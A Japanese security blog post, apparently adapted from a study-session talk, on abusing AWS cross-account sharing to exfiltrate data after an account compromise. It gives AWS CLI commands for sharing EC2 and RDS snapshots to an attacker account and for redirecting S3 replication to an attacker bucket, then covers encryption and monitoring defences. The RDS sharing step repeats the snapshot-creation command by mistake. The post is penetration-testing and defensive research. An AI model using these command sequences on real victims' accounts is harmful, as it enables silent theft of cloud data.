本記事については先日開催されたMBSD勉強会にて発表した「Abuse of Data Transfer between Cloud Accounts」の内容に関する記事です。
勉強会登壇時のスライド

概要

クラウドプラットフォームでは提供しているサービスごとに異なるアカウント間にてデータの共有や転送を行う機能が存在します。今回の記事ではそれらの機能を悪用して攻撃を行う手法について、検証や考察の結果をまとめています。記事中でもいくつか紹介していますが、このような攻撃手法を題材としたブログやツールなどが公開されており、今回はそれらの内容を参考にしつつ、自分で手を動かしてみた結果を記載しています。また、いくつかの手法については筆者が携わるペネトレーションテスにおける評価でも利用できるものであると考えています。

なお、本記事にて考察している攻撃手法については、クラウド環境下でのいわゆるPost-Exploitationフェーズに相当する場面で行われる攻撃です。Post-Exploitationとは一般的には侵入後の攻撃者による侵害などの活動を意味します。本記事においては、何らかの要因によってクラウドプラットフォーム側の制御を攻撃者に奪われている状態を指すこととします。

例えばAWS環境であれば以下のような状況が考えられます。

状況	原因の例
攻撃者にマネジメントコンソールを不正利用されている	パスワードクラック・フィッシングなどによるID/PASS経由での不正ログイン Cookieの奪取（Pass-the-cookie）
攻撃者にアクセスキーを不正利用されている	外部へのアクセスキーの漏洩 脆弱性を悪用され、アクセスキーを奪取

表 1　AWS環境におけるPost-Exploitationフェーズ

　以下は本記事で解説する攻撃のイメージです。

図 1　本記事で解説する攻撃のイメージ

冒頭で記載した通り、クラウドプラットフォームでは提供されているサービスごとに、クロスアカウント間でデータの共有や転送を行う機能が存在しています。簡単に言えば攻撃者がその機能を悪用し、攻撃者が所有するクラウド環境側にデータを転送させることによってデータを奪取するというものです。また、サービス固有のデータを丸ごと転送することによって、攻撃者側の環境でクラウドプラットフォーム上の機能を利用して好きなように処理することができます。

このような攻撃手法では、攻撃者側に以下のようなメリットが存在するのではないかと考えました。

• クラウドアカウント間におけるデータ共有・転送などの機能を悪用することで、監視などをくぐり抜けられる可能性がある。
• クラウド環境内の機能を利用できることで、より効率的に目的の情報を奪取できる可能性がある。
• 攻撃の一部を攻撃者側のクラウド環境側で行えるため、被害者のクラウド環境に残す攻撃の痕跡を少なくできる可能性がある。

そもそもこのような攻撃は、どのように分類されていたり、既に悪用されていたりするのかということも気になったので、MITRE ATT&CKを参照して調べてみました。以下のCloud Matrixは、Enterprise Matrixのサブセットに位置するものであり、クラウドベースにおける攻撃の戦術や手法がまとまっています。
https://attack.mitre.org/matrices/enterprise/cloud/

図 2　MITRE ATT&CK Cloud Matrix

こちらを参照した結果「Transfer Data to Cloud Account(T1537)」が本攻撃手法に該当する項目と思われました。

以下は上記ページの一文を引用していますが、別のクラウドアカウントにデータを転送することで監視の回避などを狙えるかもしれない旨が記載されています。

本文の一部を引用：
Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.

というわけで、今回はAWSのメジャーな以下サービスにおいて、本攻撃手法を悪用するようないくつかの攻撃シナリオを想定して、検証・考察してみました。

• Amazon EC2
• Amazon RDS
• Amazon S3

EC2で想定してみた攻撃シナリオ

以下はEC2にて想定した攻撃のシナリオです。

図 3 　EC２での攻撃シナリオ

攻撃者は稼働するEC2インスタンスからスナップショットを取得した後に、攻撃者の環境に対してスナップショットを共有します。その後、攻撃者のAWS環境にてそのスナップショットを元にEBSボリュームを作成して、情報を取り出すというシナリオです。上記の攻撃の流れを実際に自分の環境でも試してみました。

被害者環境にて攻撃者が取得している必要があるIAMポリシー

以下が攻撃を実行するために必要であったIAMポリシーです。当然ですが攻撃対象のEC2のリソースに対して権限が必要です。

• ec2:CreateSnapshot
• ec2:ModifySnapshotAttribute

攻撃検証時の操作例

以下は攻撃検証時に実行したAWS CLIコマンドです。

稼働しているEC2にアタッチされているEBSボリュームのスナップショットを作成する。aws ec2 create-snapshot --volume-id <EC2にアタッチされているEBSボリュームのID>

スナップショットにセットしてあるデフォルトのAWS アカウントIDを削除する。aws ec2 modify-snapshot-attribute --snapshot-id <作成したスナップショットのID> --attribute createVolumePermission --operation-type remove --user-ids <被害者のAWSアカウントID>

スナップショットのAWSアカウントIDを攻撃者のIDに変更する。aws ec2 modify-snapshot-attribute --snapshot-id <作成したスナップショットのID> --attribute createVolumePermission --operation-type add --user-ids <攻撃者のAWSアカウントID>

上記を実行した結果、攻撃者のAWS環境にスナップショットが共有されます。攻撃者の環境で、そちらのスナップショットからEBSボリュームを作成し、稼働するEC2インスタンスからマウントして解析をすることで、データにアクセスすることができます。

検証結果を考察

本手法では、スナップショットに関連する権限さえ持っていれば、EC2に正規の方法でログイン（SSH経由など）できなくても攻撃が可能です。マウントした領域に対しては、root権限でアクセスできるため、サーバー内に保管されている情報などを簡単に収集することができます。もっとも、この方法自体はAWS上でインシデントが発生した際にディスクフォレンジックを行うために利用される流れと全く同じものです。上記のシナリオのように、攻撃者側にも有用な手法ではないかと感じました。また、被害者環境には、スナップショットの取得と別環境への共有という攻撃の痕跡しか残らないというところにもメリットがあるのかなと考えます。

なお、以下は今まで説明したEC2への攻撃を自動化しているCloudCopyというツールに関する記事です。本ツールはAWSで実行されているドメインコントローラーを対象としており、本手法を利用してドメインコントローラー内の認証情報の抽出を行うことを目的としたものとなっています。
CloudCopy — Stealing hashes from Domain Controllers in the Cloud

RDSにて想定してみた攻撃のシナリオ

以下はRDSにて想定した攻撃のシナリオです。

図 4　RDSでの攻撃シナリオ

基本的な流れはEC2と全く同じです。攻撃者が稼働するRDSインスタンスからスナップショットを取得した後に、攻撃者の環境に対してスナップショットを共有します。その後、攻撃者の環境にて、共有したスナップショットからRDSを復元し、任意のマスターパスワードを設定しなおすという流れです。上記の流れを実際に自分の環境でも試してみました。

被害者環境にて攻撃者が取得している必要があるIAMポリシー

以下が攻撃を実行するために必要であったIAMポリシーです。当然ですが攻撃対象のRDSのリソースに対する権限が必要です。

• rds:CreateDBSnapshot
• rds:ModifyDBSnapshotAttribute

攻撃検証時の操作例

以下は攻撃検証時に実行したAWS CLIコマンドです。

稼働しているRDSのスナップショットを取得する。aws rds create-db-snapshot --db-instance-identifier <攻撃対象のRDSの名前> --db-snapshot-identifier victim-rds-snapshot

作成したRDSスナップショットを攻撃者のAWSアカウントに共有する。aws rds create-db-snapshot --db-instance-identifier <攻撃対象のRDSの名前> --db-snapshot-identifier victim-rds-snapshot

後は、攻撃者側の環境で、共有されたスナップショットよりRDSを復元し、データベースインスタンスを立ち上げます。立ち上げたインスタンスのマスターパスワードを好きな値に設定し、設定したパスワードでデータベースにアクセスすれば、データベース内の情報を取得可能です。

検証結果を考察

本手法では、スナップショットに関連する権限さえ持っていれば、正規の方法でRDS内のデータベースにログインできなくても攻撃が可能です。設定したマスターパスワードを利用してDBにアクセスすれば、DB内にroot権限でアクセスすることが可能です。また、被害者環境には、スナップショットの取得と別環境への共有という痕跡しか残らないで攻撃が完了します。攻撃の流れやメリットなどについてはEC2のシナリオとほとんど同様のものであると考えます。

S3にて想定してみた攻撃のシナリオ

続いてS3でも攻撃シナリオを検討してみました。クロスアカウント間でS3バケットの情報を転送させる方法については、以下の2種類の方法が一般的に利用されるものであるかと思います。

1. syncコマンドを利用してコピーする
2. S3のレプリケーション機能を利用する

１の方法は、転送元と転送先のS3バケットを用意し、AWS CLIのsyncコマンドを利用してデータを転送する方法です。この方法を利用する場合には、データ転送元のS3バケットに対してs3:ListBucket、s3:GetObjectの権限が必要です。上記の状況ですと、そもそもこの権限を有している状態ではターゲットのS3バケットのデータを取得可能であると思われましたので、今回は２の方法を採用する方針としました。

S3のレプリケーション機能については名前の通り、複数のS3バケット内に存在するオブジェクトを同期させるための機能です。
オブジェクトのレプリケーション

以下はS3にて想定した攻撃のシナリオです。

図 5　S3での攻撃シナリオ

そもそもの環境構成として、運用しているS3バケットのデータを別のS3バケットに対してレプリケーションしている状況を想定しています。転送に利用しているIAMロールにちょっとした問題が存在し、それを利用して攻撃者が自分のAWS環境のS3バケットに対して、レプリケーションを行うように秘かに設定変更を行い、データを奪取するとシナリオです。

前提条件となるIAMロール

上記のように本シナリオの前提条件として、レプリケーション時に利用するIAMロールにアタッチされているIAMポリシーが制限の緩いものとなっている必要があります。具体的な条件としては、レプリケーションを行う対象のS3バケットが明示的に指定されているわけではなく、任意のリソース（”Recource”:”*”）として設定されているというものです。攻撃者はこのIAMロールを利用することによって、攻撃者が指定するS3バケットに対してレプリケーションを行うように設定します。

なお、IAMポリシーのAction要素では、オブジェクトの転送を行うために必要な権限のポリシーが設定されている必要あります。検証時は分かりやすいように以下のようにS3FullAccessと同等のポリシーをアタッチしてIAMロールを作成しました。

図 6　問題となるIAMポリシーの例

被害者環境にて攻撃者が取得している必要があるIAMポリシー

以下は攻撃を実行するために必要であったIAMポリシーです。当然ですが攻撃対象のS3バケットに対する権限が必要です。また、上記IAMロールをアタッチするための権限も必要です。

• s3:PutReplicationConfiguration
• s3:CreateJob
• iam:PassRole

攻撃検証時の操作例

以下は攻撃検証時に実行したAWS CLIコマンドです。

被害者のS3バケットに設定されているレプリケーションルールを上書きaws s3api put-bucket-replication --replication-configuration file://replicationConf.json --bucket ＜被害者のS3バケット＞

上記コマンドにて指定しているreplicationConf.jsonの中身はレプリケーションルールの設定を記載しており、検証時には以下のように攻撃者環境のS3バケットを指定するようなレプリケーションルールを追加しています。

図 7　replicationConf.jsonの中身

先ほどのルールを設定しただけでも、転送元のS3バケットに新たに書き込まれたオブジェクトは攻撃者環境のS3バケットへ転送される様になります。ただし、ルールを設定した時点で被害者環境のS3バケットに存在していたオブジェクトについては、ルールを設定しただけでは転送されません。そのため、設定したレプリケーションルールを元にバッチオペレーションジョブを実行して、S3内のオブジェクト全てを攻撃者のS3バケットに転送させるようにします。

設定したレプリケーションルールを元にバッチオペレーションジョブを実行する。aws s3control create-job --account-id <被害者環境のAWSアカウントID> --operation ‘{“S3ReplicateObject”:{}}’ --report ‘{“Bucket”:““<被害者環境のS3バケットのarn>”,“Prefix”:“batch-replication-report”, “Format”:“Report_CSV_20180820”,“Enabled”:true,“ReportScope”:“AllTasks”}’ --manifest-generator ‘{“S3JobManifestGenerator”: {“SourceBucket”: “<被害者環境のS3バケットのarn>”, “EnableManifestOutput”: false, “Filter”: {“EligibleForReplication”: true, “ObjectReplicationStatuses”: [“NONE”,“FAILED”,“COMPLETED”,“REPLICA”]}}}’ --priority 1 --role-arn ＜利用する被害者環境のroleのarn> --no-confirmation-required --region <S3バケットが存在するリージョンを指定>

検証結果を考察

本シナリオについては、上記したようにレプリケーションに利用しているIAMロールの内容などの前提条件がありますが、S3内のオブジェクトにアクセスできる権限がなくとも、レプリケーションルールを変更できる権限さえあれば、S3バケットのデータを奪取可能であることが確認できました。前提条件となるIAMロールについても、複数のレプリケーションを一つのロールを利用して実行している運用などの場合には、このように任意のリソースを指定しているようなポリシーを利用しているケースもありえなくはないのかなと考えます。

また、他攻撃のシナリオ同様に、被害者環境にて実行したレプリケーションルールの変更とバッジオペレーションジョブの実行については攻撃の痕跡として確認できます。

以下の記事は上記で説明したS3レプリケーション機能を悪用したデータの取得について解説している記事です。今回検証したシナリオは本記事の内容を参考にしました。
Abusing the Replicator: Silently Exfiltrating Data with the AWS S3 Replication Service

本攻撃手法に対する防御について

ここからは、今まで検証したこれらの攻撃に対してどのような対策が必要であるかについて考察したいと思います。

暗号化

ここまで読まれた多くの方が、真っ先に思いつかれたのではないかと思われますが、これらの攻撃に対する対策としては暗号化が考えられます。AWSでは各マネージドサービスにおいて、データリソースを暗号化する機能が存在しています。これらは不正な情報の持ち出しに対する有効な対策であると考えます。

もしデータリソースが暗号化された状態であれば、上記の手順だけでは攻撃は成立しません。例えばEC2・RDSのインスタンスデータが暗号化されていれば、スナップショットを作成したとしても、そのままだと攻撃者のAWSアカウントへの共有自体ができないでしょう。

ただし、暗号化していれば100％安全というわけではないため注意が必要です。攻撃者が取得している権限によっては、暗号化を行っていたとしても、情報が奪取されてしまう可能性はありえます。以下は暗号化された状態であるにも限らずに、攻撃者にEC2のデータを奪われてしまうという攻撃のシナリオです。

図 8　暗号化された状態でも状況によっては攻撃が成功する

例えばKMSを利用して稼働するEC2にアタッチされているEBSボリュームが暗号化されている状態であったとします。その場合であっても、攻撃者がKMSを操作する権限を取得している場合であれば、別のAWSアカウントにて暗号化しているデータリソースの共有が可能となるため、それを利用して情報を奪取されてしまう可能性が考えられます。つまり暗号化された状態のリソースをクロスアカウント間で受け渡す機能をそのまま悪用されてしまうわけです。

上記の通り、暗号化は完璧な対策というわけではありませんが、これらの攻撃に対するリスクを低減させる緩和策としては有用であると考えます。また意図しない設定ミスなどによるデータ漏洩を防ぐという観点でも重要なリソースに対しては、暗号化することを検討されるべきであると考えます。

監視面について

今まで各攻撃シナリオにおける考察にて記載してきましたが、そこまで多くないながらも攻撃者が実行したアクティビティのログはCloud Trailのログなどから確認できます。特にこれらの攻撃については、別のAWSアカウントへのデータリソースの共有に関する設定を行っていることが共通しています。そのため、本来意図しないAWSアカウントにリソースが共有されていないかという点が、ログなどの監視時に注目すべきポイントであると考えます。

そもそもの権限の悪用を防ぐ

冒頭にお話した通り、本攻撃手法についてはクラウドプラットフォーム側の制御を攻撃者に奪われている状態が前提の攻撃です。そのため、そもそもそのような状況を避けるために複合的なセキュリティ対策を実施すべきということが何よりも重要です。また、万が一攻撃者になんらかの制御を奪われてしまった場合にも、状況を検知し、迅速に対応ができるような監視や体制面での準備が必要です。

AWSに関する認証情報の悪用やその対策などついては私がJAWS DAYS 2019にて登壇した際の以下の資料などをご参照ください。
PenTesterが知っている危ないAWS環境の共通点

まとめ

今回はクラウドアカウント間のデータ転送の機能について、攻撃者の目線での悪用の方法やその対策などについて考察してみました。今回は筆者が一番検証しやすかったAWSに焦点を当てて記事を書きましたが、他クラウドプラットフォームにおいても恐らく同じようなシナリオでの攻撃が成立するのではないかと推測されます。

本記事にて、クラウドサービスにおける利用者にとって便利な機能は、攻撃者にとっても便利な機能であり悪用されてしまう可能性があるため、注意が必要であるということをご認識いただければ幸いです。